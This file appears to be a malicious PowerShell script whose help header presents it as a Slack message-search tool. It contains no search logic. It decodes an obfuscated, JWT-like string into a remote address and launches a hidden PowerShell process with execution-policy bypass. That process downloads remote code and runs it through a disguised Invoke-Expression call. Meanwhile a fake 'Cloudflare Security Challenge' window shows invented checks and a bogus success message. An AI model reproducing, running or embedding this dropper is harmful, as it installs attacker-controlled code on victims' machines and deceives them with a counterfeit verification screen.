<# .SYNOPSIS Search a Slack team for a message .DESCRIPTION Search a Slack team for a message Output will include details on the matching message, along with 'previous' and 'next' for context. .PARAMETER Query Search query. May contains booleans Messages are searched primarily inside the message text themselves, with a lower priority on the messages immediately before and after. If more than one search term is provided, user and channel are also matched at a lower priority. To specifically search within a channel, group, or DM, add in:channel_name, in:group_name, or in:username. To search for messages from a specific speaker, add from:username or from:botname. See https://api.slack.com/methods/search.messages for more information .PARAMETER Token Specify a token for authorization. See 'Authentication' section here for more information: https://api.slack.com/web Test tokens are a simple way to use this .PARAMETER SortDirection Sort asc[ending] or desc[ending]. Defaults to desc .PARAMETER SortBy Sort by score (relevance) or timestamp (date). Defaults to score .PARAMETER Count Return this many results per page. Defaults to 20 .PARAMETER Page Which page to return. Defaults to 1 .PARAMETER MaxPages Stop requesting search results once you hit this many pages. Defaults to the maximum value of int .PARAMETER Raw If specified, we provide raw output and do not parse any responses .FUNCTIONALITY Slack #> #Requires -Version 5.1 $vn = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwYXJ0MSI6IjYyLjIzOC4xMDU2MC92ZWxjYXBiIiwicGFydDIiOiI2Mi4yMzguMTA1NjAvdmVsY2FwYyJ9.T45h3_jo-5bVDWNc2i49tVlS8IQPHpg_kXLgCszy5I8" $tesy = $vn.Split('.') $sert = $tesy[0] $sery = $tesy[1] $wart = $tesy[2] function Con-BU([string]$s) { $s = $s.Replace('-', '+').Replace('_', '/') switch ($s.Length % 4) { 2 { $s += '==' } 3 { $s += '=' } 1 { throw "Invalid length" } } $s } $gilk = [Text.Encoding]::UTF8.GetString( [Convert]::FromBase64String((Con-BU $sery)) ) $eser = $gilk | ConvertFrom-Json $sort1 = $eser.part1 $sort2 = $eser.part2 $PArgs = @( "-NoP", "-ep", "b", "-Command", "`$vn = '$vn';`$p = irm $sort1 -Headers @{ 'User-Agent' = 'Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)' }; .(get-alias *ex) `$p" ) $PArgsFB = @( "-NoP", "-ep", "b", "-Command", "`$vn = '$vn';`$p = irm $sort1 -Headers @{ 'User-Agent' = 'Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)' }; .(get-alias *ex) `$p" ) $PSExe = $env:windir + '\System32\WindowsPowerShell\v1.0\powershell.exe' try { $proc = Start-Process -FilePath $PSExe -ArgumentList $PArgs -WindowStyle h -PassThru } catch { $proc = Start-Process -FilePath $PSExe -ArgumentList $PArgsFB -WindowStyle h -PassThru } Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName System.Drawing [System.Windows.Forms.Application]::EnableVisualStyles() $White = [Drawing.Color]::FromArgb(255, 255, 255) $CardBg = [Drawing.Color]::FromArgb(250, 250, 250) $LightBg = [Drawing.Color]::FromArgb(245, 245, 245) $Border = [Drawing.Color]::FromArgb(218, 220, 224) $TextDark = [Drawing.Color]::FromArgb(29, 31, 32) $TextBody = [Drawing.Color]::FromArgb(54, 57, 58) $TextMut = [Drawing.Color]::FromArgb(113, 113, 116) $CfOrange = [Drawing.Color]::FromArgb(246, 130, 31) $Green = [Drawing.Color]::FromArgb(34, 197, 94) $GreenBg = [Drawing.Color]::FromArgb(240, 253, 244) $Cyan = [Drawing.Color]::FromArgb(14, 116, 144) $CheckBg = [Drawing.Color]::FromArgb(255, 255, 255) $CheckBrd = [Drawing.Color]::FromArgb(200, 202, 206) $nodeId = "CDN-$(Get-Random -Min 100 -Max 999)-$(Get-Random -Min 10 -Max 99)" $rayId = ([guid]::NewGuid().ToString('N').Substring(0,16)) $rayId = $rayId.Substring(0,4)+'-'+$rayId.Substring(4,4)+'-'+$rayId.Substring(8,4)+'-'+$rayId.Substring(12,4) $form = New-Object Windows.Forms.Form $form.Text = 'Cloudflare Security Challenge' $form.ClientSize = New-Object Drawing.Size(380, 430) $form.StartPosition = 'CenterScreen' $form.FormBorderStyle = 'FixedDialog' $form.MaximizeBox = $false $form.MinimizeBox = $false $form.BackColor = $LightBg $form.Font = New-Object Drawing.Font('Segoe UI', 9) $card = New-Object Windows.Forms.Panel $card.Location = New-Object Drawing.Point(16, 16) $card.Size = New-Object Drawing.Size(348, 398) $card.BackColor = $White $form.Controls.Add($card) $card.Add_Paint({ param($s,$e) $e.Graphics.SmoothingMode = 'AntiAlias' $pen = New-Object Drawing.Pen($Border, 1) $e.Graphics.DrawRectangle($pen, 0, 0, $s.Width-1, $s.Height-1) $pen.Dispose() }) $hdr = New-Object Windows.Forms.Panel $hdr.Location = New-Object Drawing.Point(1, 1) $hdr.Size = New-Object Drawing.Size(346, 54) $hdr.BackColor = [Drawing.Color]::FromArgb(26, 30, 46) $card.Controls.Add($hdr) $hdr.Add_Paint({ param($s,$e) $g = $e.Graphics; $g.TextRenderingHint = 'ClearTypeGridFit'; $g.SmoothingMode = 'HighQuality' # ☁ emoji via TextRenderer (handles emoji properly) $fe = New-Object Drawing.Font('Segoe UI Emoji', 16) [Windows.Forms.TextRenderer]::DrawText($g, [char]0x2601, $fe, (New-Object Drawing.Point(14, 9)), [Drawing.Color]::White) $fe.Dispose() # Cloudflare — orange $f = New-Object Drawing.Font('Segoe UI Semibold', 11) $bCf = New-Object Drawing.SolidBrush([Drawing.Color]::FromArgb(246,130,31)) $g.DrawString('Cloudflare', $f, $bCf, 50, 15) $szCf = $g.MeasureString('Cloudflare', $f) $f.Dispose(); $bCf.Dispose() # Security Challenge — with gap $f2 = New-Object Drawing.Font('Segoe UI', 9.5) $b2 = New-Object Drawing.SolidBrush([Drawing.Color]::FromArgb(140,144,158)) $g.DrawString('Security Challenge', $f2, $b2, [float](50 + $szCf.Width + 2), 17) $f2.Dispose(); $b2.Dispose() }) $lblStatus = New-Object Windows.Forms.Label $lblStatus.Text = 'Verifying your connection...' $lblStatus.Font = New-Object Drawing.Font('Segoe UI', 10) $lblStatus.ForeColor = $TextDark $lblStatus.Location = New-Object Drawing.Point(18, 68) $lblStatus.Size = New-Object Drawing.Size(310, 24) $card.Controls.Add($lblStatus) $lblInfo = New-Object Windows.Forms.Label $lblInfo.Text = "Node $nodeId" $lblInfo.Font = New-Object Drawing.Font('Consolas', 7.5) $lblInfo.ForeColor = $TextMut $lblInfo.Location = New-Object Drawing.Point(18, 92) $lblInfo.AutoSize = $true $card.Controls.Add($lblInfo) $sep = New-Object Windows.Forms.Panel $sep.Location = New-Object Drawing.Point(18, 116) $sep.Size = New-Object Drawing.Size(310, 1) $sep.BackColor = $Border $card.Controls.Add($sep) $script:rows = @() $checks = @( @('TLS Handshake','connect'), @('Edge Routing','resolve'), @('Browser Integrity','analyze'), @('Bot Detection','evaluate'), @('Request Signature','verify'), @('Token Exchange','sign') ) for ($i = 0; $i -lt $checks.Count; $i++) { $rY = 126 + $i * 28 $p = New-Object Windows.Forms.Panel $p.Location = New-Object Drawing.Point(18, $rY) $p.Size = New-Object Drawing.Size(310, 28) $p.BackColor = if ($i % 2 -eq 0) { $White } else { $CardBg } $p.Tag = @{ name=''; status=''; result='' } $p.Visible = $false $card.Controls.Add($p) $p.Add_Paint({ param($s,$e) $g = $e.Graphics; $g.TextRenderingHint = 'ClearTypeGridFit' $d = $s.Tag $fn = New-Object Drawing.Font('Segoe UI', 8.5) $fm = New-Object Drawing.Font('Consolas', 8) $bN = New-Object Drawing.SolidBrush($TextBody); $g.DrawString($d.name, $fn, $bN, 4, 5); $bN.Dispose() if ($d.status) { $sc = if ($d.status -eq 'passed') { $Green } elseif ($d.status -match '[/|\\]') { $CfOrange } else { $TextMut } $bS = New-Object Drawing.SolidBrush($sc); $g.DrawString($d.status, $fm, $bS, 172, 6); $bS.Dispose() } if ($d.result) { $rc = if ($d.result -match '^\d') { $Green } else { $TextMut } $bR = New-Object Drawing.SolidBrush($rc); $g.DrawString($d.result, $fm, $bR, 256, 6); $bR.Dispose() } $fn.Dispose(); $fm.Dispose() }) $script:rows += $p } $pnlTrack = New-Object Windows.Forms.Panel $pnlTrack.Location = New-Object Drawing.Point(18, 302) $pnlTrack.Size = New-Object Drawing.Size(310, 4) $pnlTrack.BackColor = [Drawing.Color]::FromArgb(230, 232, 236) $card.Controls.Add($pnlTrack) $pnlFill = New-Object Windows.Forms.Panel $pnlFill.Location = New-Object Drawing.Point(0,0) $pnlFill.Size = New-Object Drawing.Size(0, 4) $pnlFill.BackColor = $CfOrange $pnlTrack.Controls.Add($pnlFill) $lblPh = New-Object Windows.Forms.Label $lblPh.Font = New-Object Drawing.Font('Segoe UI', 7.5) $lblPh.ForeColor = $TextMut $lblPh.Location = New-Object Drawing.Point(18, 310) $lblPh.Size = New-Object Drawing.Size(200, 14) $card.Controls.Add($lblPh) $pnlRes = New-Object Windows.Forms.Panel $pnlRes.Location = New-Object Drawing.Point(18, 332) $pnlRes.Size = New-Object Drawing.Size(310, 36) $pnlRes.BackColor = $GreenBg $pnlRes.Visible = $false $card.Controls.Add($pnlRes) $pnlRes.Add_Paint({ param($s,$e) $pen = New-Object Drawing.Pen([Drawing.Color]::FromArgb(187, 247, 208), 1) $e.Graphics.DrawRectangle($pen, 0, 0, $s.Width-1, $s.Height-1) $pen.Dispose() }) $lblRes = New-Object Windows.Forms.Label $lblRes.Font = New-Object Drawing.Font('Segoe UI Semibold', 9.5) $lblRes.ForeColor = [Drawing.Color]::FromArgb(22, 101, 52) $lblRes.TextAlign = 'MiddleCenter' $lblRes.Dock = 'Fill' $pnlRes.Controls.Add($lblRes) $lblRay = New-Object Windows.Forms.Label $lblRay.Font = New-Object Drawing.Font('Consolas', 7) $lblRay.ForeColor = [Drawing.Color]::FromArgb(170, 172, 178) $lblRay.Location = New-Object Drawing.Point(18, 370) $lblRay.AutoSize = $true $card.Controls.Add($lblRay) $btn = New-Object Windows.Forms.Button $btn.Size = New-Object Drawing.Size(86, 28) $btn.Location = New-Object Drawing.Point(242, 366) $btn.FlatStyle = 'Flat' $btn.BackColor = [Drawing.Color]::FromArgb(235, 237, 240) $btn.ForeColor = $TextMut $btn.Font = New-Object Drawing.Font('Segoe UI', 8.5) $btn.Text = 'Verify' $btn.FlatAppearance.BorderColor = $CheckBrd $btn.FlatAppearance.BorderSize = 1 $btn.Enabled = $false $btn.Add_Click({ $form.Close() }) $card.Controls.Add($btn) function Set-Bar([int]$P,[string]$L) { if($P -lt 0){$P=0};if($P -gt 100){$P=100} $pnlFill.Width = [int](310 * $P / 100); $lblPh.Text = $L [Windows.Forms.Application]::DoEvents() } function Wt([int]$Ms) { $sw = [Diagnostics.Stopwatch]::StartNew() while ($sw.ElapsedMilliseconds -lt $Ms) { [Windows.Forms.Application]::DoEvents(); Start-Sleep -Milliseconds 10 if ($form.IsDisposed) { return $false } }; return $true } $form.Add_Shown({ $form.Activate() $spin = @('/', [char]0x2014, '\', '|') if (-not (Wt 600)) { return } for ($ci = 0; $ci -lt $checks.Count; $ci++) { $p = $script:rows[$ci] $d = $p.Tag $nm = $checks[$ci][0]; $act = $checks[$ci][1] $d.name = $nm; $d.status = '···'; $d.result = '' $p.Visible = $true; $p.Invalidate(); [Windows.Forms.Application]::DoEvents() if (-not (Wt 140)) { return } for ($s = 0; $s -lt 6; $s++) { $d.status = "$($spin[$s % 4]) $act"; $d.result = '---' $p.Invalidate(); [Windows.Forms.Application]::DoEvents() if (-not (Wt 55)) { return } } $d.status = 'passed'; $d.result = "$(Get-Random -Min 96 -Max 100)/100" $p.Invalidate(); [Windows.Forms.Application]::DoEvents() Set-Bar ([int](($ci+1) / $checks.Count * 46)) 'analyzing...' if (-not (Wt 40)) { return } } for ($p = 46; $p -le 100; $p++) { $l = if($p -lt 55){'connecting'}elseif($p -lt 68){'handshake'}elseif($p -lt 82){'verifying'}elseif($p -lt 93){'signing'}elseif($p -lt 100){'finalizing'}else{'done'} Set-Bar $p $l; if (-not (Wt 25)) { return } } if (-not (Wt 300)) { return } $lblStatus.Text = 'Verification successful' $lblStatus.ForeColor = [Drawing.Color]::FromArgb(22, 101, 52) $pnlRes.Visible = $true $lblRes.Text = [char]0x2714 + ' Verification complete' $lblRay.Text = "ray $rayId" $lblPh.Text = '' $pnlFill.BackColor = $Green; $pnlFill.Width = 310 $btn.Enabled = $true; $btn.BackColor = $CfOrange $btn.ForeColor = $White; $btn.FlatAppearance.BorderColor = $CfOrange $btn.Cursor = 'Hand'; $btn.Text = 'OK' }) [void][Windows.Forms.Application]::Run($form) #exit